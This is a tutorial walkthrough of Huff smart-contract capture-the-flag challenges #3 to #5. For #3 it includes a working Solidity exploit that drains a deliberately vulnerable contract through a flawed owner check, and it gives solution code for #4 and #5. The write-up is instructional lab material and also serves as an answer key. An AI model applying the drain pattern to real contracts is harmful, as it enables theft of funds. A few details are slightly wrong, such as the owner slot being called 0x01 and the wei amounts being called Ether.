Huff Challenges - A Walkthrough
This post is a compilation of the walkthroughs for the Huff Challenges that I posted on my mirror. You can find walkthroughs for Challenge #1 here and Challenge #2 here.
Alright let's dive in!
Huff Challenge #3
Here’s the target contract for the challenge:
#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02
// Deposit into the contract.
#define macro DEPOSIT() = takes (0) returns (0) {
callvalue iszero error jumpi // revert if msg.value == 0
caller [LAST_DEPOSITER_SLOT] sstore // store last depositer
stop
error:
0x00 0x00 revert
}
// Withdraw from the contract.
#define macro WITHDRAW() = takes (0) returns (0) {
[WITHDRAWER_SLOT] sload // get withdrawer
caller eq iszero error jumpi // revert if caller != withdrawer
// Transfer tokens
0x00 0x00 0x00 0x00 // fill stack with 0
selfbalance caller gas // call parameters
call // send ETH
stop
error:
0x00 0x00 revert
}
// Allow owner to set withdrawer.
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
0x04 calldataload [WITHDRAWER_SLOT] sstore // set new withdrawer
stop
error:
0x00 0x00 revert
}
// Constructor.
#define macro CONSTRUCTOR() = takes (0) returns (0) {
caller [OWNER_SLOT] sstore // set the deploywer as the owner
}
// Main macro
#define macro MAIN() = takes (0) returns (0) {
0x00 calldataload 0xE0 shr
dup1 0xd0e30db0 eq deposit jumpi
dup1 0x3ccfd60b eq withdraw jumpi
dup1 0x0d174c24 eq set_withdrawer jumpi
deposit:
DEPOSIT()
withdraw:
WITHDRAW()
set_withdrawer:
SET_WITHDRAWER()
}
The Huff contract contains four primary operations defined as macros:
DEPOSIT()
: allows a user to deposit funds into the contract.WITHDRAW()
: lets the designated withdrawer to extract funds from the contract.SET_WITHDRAWER()
: allows the owner to change the designated withdrawer.CONSTRUCTOR()
: a setup routine that runs once upon deployment, setting the deployer as the contract owner.
The contract also maintains three storage slots:
OWNER_SLOT
: The contract's owner.WITHDRAWER_SLOT
: The currently designated withdrawer.LAST_DEPOSITER_SLOT
: The last user who deposited into the contract.
#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02
The Bug
The critical bug exists in the SET_WITHDRAWER()
macro. It is intended to allow only the contract owner to set a new withdrawer. However, due to a flaw in the code, it actually checks whether the calling address matches the value of the transaction (in Wei). Here's the problematic line of code:
caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
This means that if the sender of the transaction sends an amount of Ether equal to their address when calling this function, they could change the withdrawer, thereby opening the door to draining the contract's funds.
Let's break it down.
In the line of code that creates the bug, caller callvalue sload eq iszero error jumpi
, we see a sequence of opcodes that, while seemingly correct at first glance, contain a fatal logic error.
Here's how the above line is interpreted:
1.caller
: This opcode pushes the caller's address (the address that started the execution) onto the stack.
2.callvalue
: Pushes the amount of Wei sent with the message (msg.value
) onto the stack. This should have been [OWNER_SLOT]
to load the contract owner's address into the stack.
3.sload
: Loads the value from storage located at the address at the top of the stack. Since we have just pushed callvalue
, it will attempt to load a value from an address equivalent to the Wei sent, which is nonsensical in this context.
4.eq
: Checks if the top two stack items are equal.
5.iszero
: Checks if the result of the eq
operation is 0
.
6.error jumpi
: If the previous operation resulted in 0
(meaning the eq
operation returned false), it jumps to the error label and reverts the transaction.
The Fix
The correct operation to check whether the sender of the transaction is the contract's owner should have been caller [OWNER_SLOT] sload eq iszero error jumpi
. This will correctly load the owner's address from the storage slot 0x01
into the stack and compare it to the caller's address, thereby correctly enforcing the permission check.
Here's the corrected SET_WITHDRAWER()
macro:
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
caller [OWNER_SLOT] sload eq iszero error jumpi // require(msg.sender==owner)
0x04 calldataload [WITHDRAWER_SLOT] sstore // set new withdrawer
stop
error:
0x00 0x00 revert
}
This is a really cool challenge as it shows how worse it can get by a change in a single word. Also it highlights the importance of understanding the basics before starting to use low-level languages like Huff, Yul, etk, etc.,
Proof of Concept
Having identified the flaw, let’s take a look at the PoC for a better understanding.
import "./IChallenge3.sol";
function playerScript(address instanceAddress) {
new Challenge3Exploit{value: 3}(instanceAddress);
}
contract Challenge3Exploit {
constructor(address instanceAddress) payable {
Challenge3 challenge = Challenge3(payable(instanceAddress));
challenge.deposit{value: 1}();
challenge.setWithdrawer{value: 2}(address(this));
challenge.withdraw();
selfdestruct(payable(msg.sender));
}
}
The Exploit
The playerScript()
function is the main entry point. It deploys a new Challenge3Exploit
contract, passing the instance address of the vulnerable contract and sending along 3 Ether.
Next, three key steps of the exploit:
1.challenge.deposit{value: 1}();
- Deposit 1 Ether into the vulnerable contract.
2.challenge.setWithdrawer{value: 2}(address(this));
- Exploit the bug, call the setWithdrawer()
method with 2 Ether, so that the caller address (0x02
) and the callvalue
are both the same.
3.challenge.withdraw();
- Now that the contract is set as the withdrawer, call the withdraw()
function to drain the funds from the vulnerable contract.
Finally, the line selfdestruct(payable(msg.sender));
sends all the funds collected by the exploit contract back to its deployer and destroys the contract.
Harness contract
contract Challenge3Test is Test {
address playerAddress = makeAddr("player");
Challenge3 test;
function setUp() public {
test = Challenge3(HuffDeployer.deploy("HuffChallenge/challenge3/Challenge3"));
test.deposit{value: 0.1 ether}();
assertEq(address(test).balance, 0.1 ether);
}
function testExploit() public {
vm.deal(playerAddress, 1 ether);
vm.startPrank(playerAddress, playerAddress);
playerScript(address(test));
vm.stopPrank();
assertEq(address(test).balance, 0 ether);
assertEq(playerAddress.balance, 1.1 ether);
}
}
In the setUp()
function, the vulnerable contract is deployed and an initial deposit of 0.1 Ether has been made.
In the testExploit()
function, exploit is carried out. The vm.deal(playerAddress, 1 ether);
line provides the exploiter with 1 Ether. Then vm.startPrank()
is used to impersonate the player address, execute the exploit, and then stop the impersonation.
Finally, assert that the vulnerable contract's balance is now 0, and the player's balance has increased by 1.1 Ether, thereby validating the success of the exploit.
Huff Challenge #4
In this challenge, we're tasked with writing a Huff smart contract that reverses the calldata that it receives. Essentially, if you send data to this contract, it should be able to return the same data, but in reverse order.
For those who don’t know, calldata
is a type of input data that is sent along with a transaction. It's stored outside of the EVM's storage and memory, making it cheaper to use.
Solution
There can be multiple valid solutions to this challenge. I’m going to use one of the solutions posted by @philogy for this walkthrough.
#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
calldataload 0xf8 shr
}
#define macro MAIN() = takes(0) returns(0) {
calldatasize not_empty jumpi
returndatasize returndatasize return
not_empty:
calldatasize
returndatasize
copy_bytes_iter: // [i, j + 1]
swap1 // [j + 1, i]
[NEG1] add // [j, i]
dup2 dup2 // [j, i, j, i]
dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
swap2 // [j, cd[i], cd[j], i, j, i]
mstore8 // [cd[j], i, j, i]
swap1 mstore8 // [j, i]
swap1 0x1 add // [i', j' + 1]
dup2 dup2 // [i', j' + 1, i', j' + 1]
lt
copy_bytes_iter jumpi
calldatasize returndatasize return
}
Let me break it down for you.
Firstly, the constant NEG1
, a 256-bit number representing -1 in two's complement form. This constant will be useful for offsetting indexes.
#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
Next, a macro called GET_CALLDATA_BYTE()
is defined. This macro fetches one byte of calldata at a specified index. calldataload
is an EVM opcode that loads 32 bytes of calldata from a specific index. However, we're only interested in a single byte, so we shift right (shr
) by 248 bits (0xf8
) to isolate the byte we need.
#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
calldataload 0xf8 shr
}
Next comes the MAIN()
macro. The first part of MAIN()
is a short check for whether any calldata is present:
calldatasize not_empty jumpi
returndatasize returndatasize return
Here, calldatasize
gets the size of the calldata. If the size is non-zero (meaning calldata is present), the control jumps to the not_empty
label. If the size is zero (no calldata), then it immediately returns.
After confirming that calldata is present, the size of the calldata is fetched and pushed to the stack.
not_empty:
calldatasize
returndatasize
Next comes the spiciest part. The logic to reverse the calldata, one byte at a time.
Let's divide the copy_bytes_iter
block into smaller chunks and discuss each one:
copy_bytes_iter: // [i, j + 1]
swap1 // [j + 1, i]
[NEG1] add // [j, i]
dup2 dup2 // [j, i, j, i]
dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
In this first block, we prepare the indices and retrieve the bytes to be swapped. We first swap i
and j + 1
then subtract 1 from j + 1
to get j
. After duplicating j
and i
for later use, the GET_CALLDATA_BYTE()
macro is invoked twice to get the i
th and j
th bytes (cd[i]
and cd[j]
) from the calldata.
swap2 // [j, cd[i], cd[j], i, j, i]
mstore8 // [cd[j], i, j, i]
swap1 mstore8 // [j, i]
In the second block, the swapping of the bytes takes place. The contract swaps cd[i]
and j
, then uses mstore8
to store cd[j]
at the i
th position and cd[i]
at the j
th position. At the end of this block, j
and i
are left on the stack.
swap1 0x1 add // [i', j' + 1]
dup2 dup2 // [i', j' + 1, i', j' + 1]
lt
copy_bytes_iter jumpi
In the third block, i
is incremented to move on to the next byte from the start. The indices i'
and j' + 1
are then duplicated for comparison. If i'
is less than j' + 1
, the loop continues and jumps back to copy_bytes_iter
. Otherwise, the loop terminates, and the contract proceeds to the next stage.
By repeating these steps, the copy_bytes_iter
block swaps all pairs of bytes in the calldata until all bytes are reversed.
Huff Challenge #5
The challenge we're examining today revolves around message signatures. Our goal is to create a contract using Huff, that takes a signature as input from the calldata, verifies if the message was indeed signed by the sender of the transaction, and returns true if it was. If the message wasn't signed by the sender or if the calldata doesn't adhere to the expected structure, we want the contract to do something that causes the transaction to run out of gas.
Solution
Here’s the solution for your quick glance:
#define macro MAIN() = takes (0) returns (0) {
/// Check if calldatasize is 97 bytes (MessageHash=32, Signature=65)
calldatasize
0x61 eq
extractParamsAndStore jumpi
oog jump
extractParamsAndStore:
/// Store the message hash
0x00 calldataload
0x00 mstore
/// Store 'v'
0x60 calldataload
0x3f mstore
/// Store 'r'
0x20 calldataload
0x40 mstore
/// Store 's'
0x40 calldataload
0x60 mstore
/// Prepare stack for 'ecrecover' staticcall
0x20
0x00
0x80
0x00
chainid
gas
staticcall validate jumpi
oog jump
/// Check if caller==retdata (signer address)
validate:
0x00 mload
dup1
caller
eq valid jumpi
oog jump
// Return true
valid:
chainid
0x00 mstore
0x20 0x00 return
// out-of-gas
oog:
0x01 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff mstore
If the above code is all Greek and Latin to you, don’t worry. I’m here to break it down for you.
#define macro MAIN() = takes (0) returns (0) {
calldatasize
0x61 eq
extractParamsAndStore jumpi
oog jump
The first part of the contract is responsible for checking whether the calldatasize
equals 0x61
(which is the hexadecimal representation of 97
in decimal). 97
bytes is the expected size of the calldata (MessageHash=32 bytes, Signature=65 bytes). If the size is correct, it jumps to the extractParamsAndStore
label. Otherwise, it jumps to the oog
(out-of-gas) label to make the transaction run out of gas.
Next, we extract parameters from the calldata:
extractParamsAndStore:
0x00 calldataload
0x00 mstore
0x60 calldataload
0x3f mstore
0x20 calldataload
0x40 mstore
0x40 calldataload
0x60 mstore
This part of the code extracts and stores the message hash, v, r, and s values from the calldata. These values represent the signed message we're looking for. The calldataload
operation takes the start byte from the calldata, and mstore
stores this data in memory.
We then prepare the stack with parameters for the ecrecover
call:
0x20
0x00
0x80
0x00
chainid
gas
staticcall validate jumpi
oog jump
A staticcall is made to the precompiled contract residing at the address 0x01
. It implements the ecrecover
method. It is used to extract the signer’s address from the signature using message hash, v, r, and s values as input. The jumpi
instruction then checks the outcome of the ecrecover
call. If it's successful, the control gets transferred to the validate
label. Otherwise, it jumps to oog
, causing the transaction to run out of gas.
The contract then verifies if the extracted signer’s address matches the transaction sender’s address:
validate:
0x00 mload // [rcvd_address]
dup1 // [rcvd_address, rcvd_address]
caller // [msg.sender, rcvd_address]
eq valid jumpi // [msg.sender == rcvd_address?]
oog jump // if not equal, jump to out-of-gas block
The mload
operation loads the signer's address from memory which is be the return value of the ecrecover
call, dup1
duplicates this address on the stack, and caller
gets the address of the transaction sender. The eq
operation checks if the two addresses match. If they do, the program jumps to the valid
label. Otherwise, it jumps to oog
, again causing the transaction to run out of gas.
Finally, the contract returns true in the case of a valid signature:
valid:
chainid
0x00 mstore
0x20 0x00 return
This section stores the current chain id (which serves as a boolean value 0x01 for Mainnet to represent true) into memory and returns it.
And in case of invalid calldata or signature, we run out of gas:
oog:
0x01
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
mstore
This code tries to store a massive value into memory, thereby using up all the available gas and causing an out-of-gas error.
Until next time 👋 👋